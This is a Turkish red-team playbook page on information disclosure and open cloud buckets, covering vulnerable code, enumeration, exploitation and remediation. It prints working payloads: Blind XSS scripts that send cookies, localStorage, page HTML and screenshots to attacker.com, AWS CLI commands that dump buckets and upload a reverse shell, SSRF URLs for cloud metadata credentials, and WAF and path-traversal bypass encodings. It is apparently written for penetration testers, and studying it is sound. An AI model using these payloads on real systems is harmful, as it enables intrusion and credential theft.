Information Disclosure & Open Cloud Buckets
> Yazar: Emre Ermenek
Modern web mimarilerinde ve bulut tabanlı altyapılarda "Information Disclosure" (Bilgi İfşası) zafiyetleri, bir Red Team operasyonunun en kritik basamak taşlarından biridir. Çoğu zaman doğrudan bir "Remote Code Execution (RCE)" veya "SQL Injection" kadar yıkıcı görünmese de, stratejik olarak değerlendirildiğinde tüm sistemin ele geçirilmesini sağlayan eksik halkayı (hardcoded AWS anahtarları, dahili ağ topolojisi, bellek adres sızıntıları) sunar.
Bulut bilişimin (AWS S3, GCP Cloud Storage, Azure Blob Storage) yaygınlaşmasıyla birlikte "Open Buckets" (Açık Depolama Alanları) kavramı, bilgi ifşası konseptini yeni bir boyuta taşımıştır. Hedef sistemin kendi üzerinde bulunmayan ancak şirketin IT ekosistemine dahil olan dış depolama alanlarındaki yanlış yapılandırmalar (misconfigurations), sızma testi uzmanlarına kimlik doğrulama mekanizmalarını tamamen atlayarak kritik şirket verilerine erişim imkanı tanır. Bu doküman, HTTP protokolünün derinliklerinden AWS IAM politika değerlendirme hiyerarşisine kadar uzanan kapsamlı bir "Information Disclosure" istismar rehberidir.
How It Works (Teknik Analiz)
Bilgi ifşası zafiyetleri, uygulamanın istemciye (client) dönmemesi gereken verileri HTTP yanıt (response) gövdesinde, başlıklarında (headers) veya erişime açık statik dosyalarda barındırmasıyla oluşur.
Düşük seviyede (low-level) incelendiğinde bu durum birkaç temel mimari veya dil seviyesi hatadan kaynaklanır:
- Memory & Exception Handling (Bellek ve İstisna Yönetimi): Uygulamalar (özellikle Java, C# veya Node.js) işlenmemiş bir istisna (unhandled exception) fırlattığında, "Call Stack" veya "Heap" üzerinde bulunan o anki bellek durumunun bir parçasını "Stack Trace" olarak dışa vurur. Bu izler; veritabanı bağlantı dizelerini (connection strings), yerel dosya sistemindeki tam yolları (absolute paths) ve framework versiyonlarını barındırır.
- Cloud Storage Authorization (Bulut Depolama Yetkilendirmesi): AWS S3 örneğinde, bir kaynağa erişim yetkisi değerlendirilirken sırasıyla IAM User Policies -> Resource-based Policies (Bucket Policies) -> Bucket ACLs -> Object ACLs kontrol edilir. Varsayılan olarak özel (private) olan bu ayarlar, geliştiricilerin kullanım kolaylığı adına "Principal: *" (herkes) veya "PublicRead" ACL bayraklarını set etmesiyle tamamen internete açılır.
- Protocol RFC Violations (Protokol İhlalleri): Cache-Control başlıklarının yanlış yapılandırılması sonucu hassas kullanıcı verilerinin ara proxy'lerde (CDN, Varnish) önbelleğe alınması (Web Cache Deception) veya CORS (RFC 6454) politikalarındaki
Access-Control-Allow-Origin: *miskonfigürasyonları.
Vulnerable Code Patterns
Aşağıda farklı teknolojilerde bilgi ifşasına yol açan kök neden kodlama hataları verilmiştir.
PHP - Geliştirme Modunun Canlıda Bırakılması:
<?php
// Kritik Hata: Hataların doğrudan kullanıcıya yansıtılması (php.ini misconfiguration)
error_reporting(E_ALL);
ini_set('display_errors', 1);
$db_pass = "SuperSecretDbPassword123!";
// Veritabanı bağlantısı başarısız olduğunda parola ve dosya yolu ekrana basılacaktır.
$conn = new mysqli("localhost", "admin", $db_pass, "production_db");
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error . " in " . __FILE__);
}
?>
Node.js / Express - Hata Objelerinin Serileştirilmesi:
const express = require('express');
const app = express();
app.get('/api/user/:id', async (req, res) => {
try {
const user = await db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);
res.json(user);
} catch (err) {
// HATA: Tüm 'err' objesi (stack trace, DB query, AST yapısı) istemciye döndürülüyor.
res.status(500).json({ error: "Internal Server Error", details: err.stack });
}
});
AWS Terraform - Insecure S3 Bucket Yapılandırması:
resource "aws_s3_bucket" "company_assets" {
bucket = "company-sensitive-documents"
}
# HATA: ACL "public-read" olarak ayarlanmış. İnternetteki herkes listeleyebilir ve okuyabilir.
resource "aws_s3_bucket_acl" "example_bucket_acl" {
bucket = aws_s3_bucket.company_assets.id
acl = "public-read"
}
# HATA: Bucket Policy tüm anonim kullanıcılara (Principal: "*") izin veriyor.
resource "aws_s3_bucket_policy" "allow_public_access" {
bucket = aws_s3_bucket.company_assets.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Sid = "PublicReadGetObject"
Effect = "Allow"
Principal = "*"
Action = "s3:GetObject"
Resource = "${aws_s3_bucket.company_assets.arn}/*"
},
]
})
}
Detection & Enumeration (Keşif ve Analiz)
Bilgi ifşası zafiyetlerini tespit etmek statik taramalar, dinamik fuzzing teknikleri ve OSINT (Açık Kaynak İstihbaratı) metodolojilerinin birleşimini gerektirir.
- Error-Based Enumeration: Girdilere beklenmedik karakterler (
',",%00,[], aşırı uzun stringler, integer overflow yaratacak değerler) göndererek uygulamanın vereceği tepkiler izlenir. Amaç 500 Internal Server Error verdirtip dönen HTTP Response Body içerisindeki Stack Trace'leri avlamaktır. - Directory Fuzzing & Forced Browsing: Tahmin edilebilir veya gizli dizinlere (örn:
/.git/,/.env,/backup.zip,/server-status) yönelik otonom istekler atılır. SunucununIndex of /dönmesi (Directory Listing) hedeflenir. - Cloud Storage Discovery: Hedefin kullandığı AWS, Azure veya GCP bucket isimleri tahmin edilmeye çalışılır. Bucket isimleri genelde
[company]-assets,[company]-backup,[company]-prodşeklindedir. CNAME kayıtları ve DNS çözümlemeleri (s3.amazonaws.comadresine yönlendirmeler) kontrol edilir. - Third-Party Leaks: GitHub, GitLab, Trello, Jira, Pastebin gibi platformlarda hedef kuruma ait API key, JWT secret veya hardcoded AWS Credentials sızıntıları aranır (Google Dorking & GitHub Dorking).
Attack Vectors & Exploitation (İstismar Vektörleri)
Publicly Accessible Cloud Buckets (AWS S3, GCP, Azure)
Bulut depolama alanlarına (Buckets) yetkisiz erişim, siber güvenlik dünyasındaki en büyük veri ihlallerinin temel nedenidir. AWS S3'te bir bucket'ın genel URL formatı http://[bucket_name].s3.amazonaws.com/ veya http://s3.amazonaws.com/[bucket_name]/ şeklindedir.
- Listeleme İhlali: Eğer bir S3 bucket açık ise, web tarayıcısından bu URL'e gidildiğinde XML formatında bucket içindeki ilk 1000 dosyanın listesi döner (
ListBucketResult). - Okuma İhlali: Listelenen dosyaların (özellikle
.bak,.sql,.env,credentials.csvvb.) doğrudan indirilmesidir. - Yazma/Silme İhlali (Critical): Nadir de olsa bazı bucket'larda
s3:PutObjectyetkisi public bırakılır. Bu durum saldırgana sisteme zararlı dosya yükleme (örneğin web sitelerinin kullandığı statik JS dosyalarının üzerine zararlı JS yazarak Stored XSS/Magecart saldırıları yapma) veya verileri silme imkanı tanır.
Insecure Direct Object References (IDOR) & Mass Assignment
API uç noktalarının, kullanıcının talep ettiği nesne (ID) üzerinde yetkisi olup olmadığını kontrol etmemesidir. Örneğin /api/v1/invoices/1050 adresindeki ID değeri 1051 yapıldığında başkasının faturası (PII verisi içeren bir PDF) görüntüleniyorsa, bu bir Information Disclosure'a yol açan IDOR zafiyetidir.
Source Code Disclosure & Version Control Leaks
Web dizininde bırakılan /.git/, /.svn/ klasörleri uygulamanın tüm kaynak kodunun, commit geçmişinin ve yapılandırma dosyalarının saldırganın bilgisayarına indirilmesine olanak tanır. Kaynak kodunun elde edilmesi, kod içerisindeki (Whitebox yaklaşımıyla) RCE, SQLi, LFI gibi çok daha kritik zafiyetlerin tespit edilmesinin önünü açar.
SSRF to Cloud Metadata (IMDS) Leakage
Server-Side Request Forgery (SSRF) zafiyeti, doğrudan bilgi ifşası amacıyla kullanılabilir. Uygulama, kullanıcının verdiği bir URL'e sunucu üzerinden istek atıyorsa, bu durum bulut sağlayıcıların gizli "Metadata" uç noktalarına erişmek için kullanılır. AWS için http://169.254.169.254/latest/meta-data/ adresi, IAM geçici erişim anahtarlarını (Token, Secret Key, Access Key) barındırır. Bu anahtarların ifşası, bulut ortamının tamamen ele geçirilmesine yol açar.
Blind XSS for Internal Dashboard Exfiltration
Bilgi ifşası sadece sunucu taraflı değildir. Bir iletişim formu, destek bileti (support ticket) veya log yönetim ekranı üzerinden enjekte edilen zararlı JavaScript (Blind XSS), yetkili bir admin tarafından görüntülendiğinde tetiklenir. Bu payload; adminin oturum çerezlerini (Non-HTTPOnly), iç ağ (Internal) URL'lerini, sayfanın ekran görüntüsünü veya DOM Tree'nin tam kopyasını saldırganın C2 (Command & Control) sunucusuna ifşa eder.
Payloads & Advanced Commands
AWS S3 Exploitation Commands
Açık bulut depolama alanlarını tespit ettikten sonra veri sızdırmak ve yetkileri test etmek için kullanılan AWS CLI komutları:
# Bucket içeriğini imzasız (anonim) olarak listeleme
aws s3 ls s3://[bucket_name] --no-sign-request --region us-east-1
# Tüm bucket içeriğini yerel makineye indirme (Exfiltration)
aws s3 sync s3://[bucket_name] /tmp/s3_dump/ --no-sign-request
# Bucket'ta yazma (PutObject) yetkisi olup olmadığını test etme
aws s3 cp reverse_shell.php s3://[bucket_name]/ --no-sign-request
# Bucket Access Control List (ACL) politikasını okuma
aws s3api get-bucket-acl --bucket [bucket_name] --no-sign-request
# Bucket Policy yapılandırmasını çekme
aws s3api get-bucket-policy --bucket [bucket_name] --no-sign-request
SSRF Payloads for Cloud Metadata
SSRF üzerinden bulut ortamı geçici kimlik bilgilerini (IAM/Service Accounts) ifşa etmek için kullanılan payloadlar:
# AWS IMDSv1 - Geçici IAM Rolünü öğrenme
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS IMDSv2 - Token bazlı metadata ifşası (SSRF destekliyorsa Header enjeksiyonu ile)
PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Google Cloud Platform (GCP) - Service Account ifşası
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# GCP için HTTP header'ı gerekir (SSRF'de header enjekte edilebiliyorsa):
Metadata-Flavor: Google
# Microsoft Azure
http://169.254.169.254/metadata/instance?api-version=2017-08-01
# Header gereksinimi:
Metadata: true
# DigitalOcean User Data / Droplet Metadata
http://169.254.169.254/metadata/v1.json
Git Repository & Source Code Extraction
Açık unutulmuş .git dizininden kaynak kodu çekmek için kullanılan komutlar:
# GitTools kullanımı (Dumper)
./gitdumper.sh http://target.com/.git/ /tmp/target_repo/
# Dökülen repo'nun commit geçmişini çıkartma (Extractor)
./extractor.sh /tmp/target_repo /tmp/target_extracted
# Wget ile manuel çekim denemesi (Eğer Dizin listeleme açıksa)
wget -r --no-parent http://target.com/.git/
Blind XSS Payloads for Data Exfiltration
İç ağ sayfalarının veya admin panellerinin içeriğini ifşa etmek için kullanılan payloadlar:
<script>
var b64_dom = btoa(document.documentElement.outerHTML);
var img = new Image();
img.src = "http://attacker.com/exfil?data=" + b64_dom;
</script>
<script>
fetch('http://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
local_storage: JSON.stringify(localStorage),
url: window.location.href
})
});
</script>
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas) {
var base64image = canvas.toDataURL("image/png");
fetch("http://attacker.com/img_drop", { method: "POST", body: base64image });
});
</script>
Bypass & Obfuscation (Atlatma Teknikleri)
Cloud WAF & Regex Bypasses
WAF'lar (Web Application Firewalls) genellikle S3 bucket isimlerini veya metadata IP adreslerini (169.254.169.254) engeller.
- IP Adresi Obfuscation: 169.254.169.254 IP adresini farklı formatlarda (Decimal, Octal, Hexadecimal) kodlayarak filtreleri atlatmak:
- Decimal:
http://2852039166/latest/meta-data/ - Octal:
http://0251.0376.0251.0376/latest/meta-data/ - Hex:
http://0xA9FEA9FE/latest/meta-data/ - Kısa format:
http://169.254.43518/
- Decimal:
- DNS Rebinding / Custom Subdomains: Nip.io veya xip.io gibi servisler kullanarak metadata IP'sini bir alan adına bağlamak:
http://169.254.169.254.nip.io/
Double URL Encoding & Null Byte Injection
Dizin listeleme (Directory Listing) veya yerel dosya ifşası (LFI) sırasında path traversal engellerini aşmak için:
- Standard:
../../../etc/passwd - URL Encoded:
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd - Double Encoded (Load Balancer/WAF atlatması):
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd - Null Byte (Dosya uzantısı kontrolünü kırma - Eski PHP/Java):
../../../etc/passwd%00.png
Remediation & Prevention (Önleme ve Savunma)
Infrastructure as Code (IaC) Hardening
- AWS S3 Block Public Access (BPA): Amazon S3 için "Block Public Access" özelliği hesap (Account) düzeyinde aktif edilmelidir. Bu özellik, hatalı ACL ve Bucket Policy yazılsa dahi public erişimi üst düzeyden keser.
- Least Privilege Principle (En Az Ayrıcalık Prensibi): S3 Bucket'larına erişen IAM rol ve politikaları sadece spesifik uygulamalara ve gerekli minimum eylemlere (yalnızca
s3:GetObjectgibi) izole edilmelidir. - IMDSv2 Zorunluluğu: AWS EC2 instancelarında IMDSv1 kapatılarak, SSRF saldırılarını engelleyen, oturum bazlı token kullanımını zorunlu kılan IMDSv2'ye geçilmelidir.
Application-Level Controls
- Error Handling (Hata Yönetimi): Canlı sistemlerde (Production)
display_errors,debug_modevb. parametreler kesinliklefalseolmalıdır. Kullanıcılara yalnızca jenerik hatalar (örn: "Bir hata oluştu. Ref: #10293") gösterilmeli, detaylı hata logları sunucu tarafındaki güvenli log sistemlerinde (ELK, Splunk) saklanmalıdır. - Access Control Checks (Erişim Kontrolü): IDOR varyasyonlarının önüne geçmek için her istekte,
session_idveya JWT token üzerinden gelen kullanıcının o kaynağı talep etmeye yetkili olup olmadığı veri tabanı seviyesinde sorgulanmalıdır (Object-Level Authorization). - Directory Indexing: Web sunucularında (Apache, Nginx, IIS) varsayılan dizin listeleme özellikleri devre dışı bırakılmalıdır. (Apache:
Options -Indexes, Nginx:autoindex off;).
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |s
| :--- | :--- | :--- |
| AWS CLI | S3 bucket yönetimi, keşfi ve exfiltration işlemleri. | aws s3 ls s3://target-bucket --no-sign-request |
| Cloud_Enum | Açık AWS, Azure ve GCP depolama alanlarını tespit etme. | cloud_enum -k companyname |
| Grayhat Warfare | İnternete açık S3 bucket ve dosyalarını indeksleyen arama motoru. | (Web tabanlı GUI / API üzerinden kullanım) |
| GitTools (Dumper) | Açıktaki .git dizinini tespit edip yerel makineye klonlama. | gitdumper.sh http://target.com/.git/ ./out |
| XSS Hunter / Interactsh | Blind XSS ve OOB (Out-of-Band) etkileşimleri yakalama ve ifşa etme. | <script src="https://yourid.xss.ht"></script> |
| Ffuf | Dizin ve dosya keşfi, verbose error avcılığı. | ffuf -w wordlist.txt -u http://target/FUZZ |
| Pacu | AWS Cloud Exploitation Framework (Bulut ortamında yetki yükseltme). | run s3__enum_buckets |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv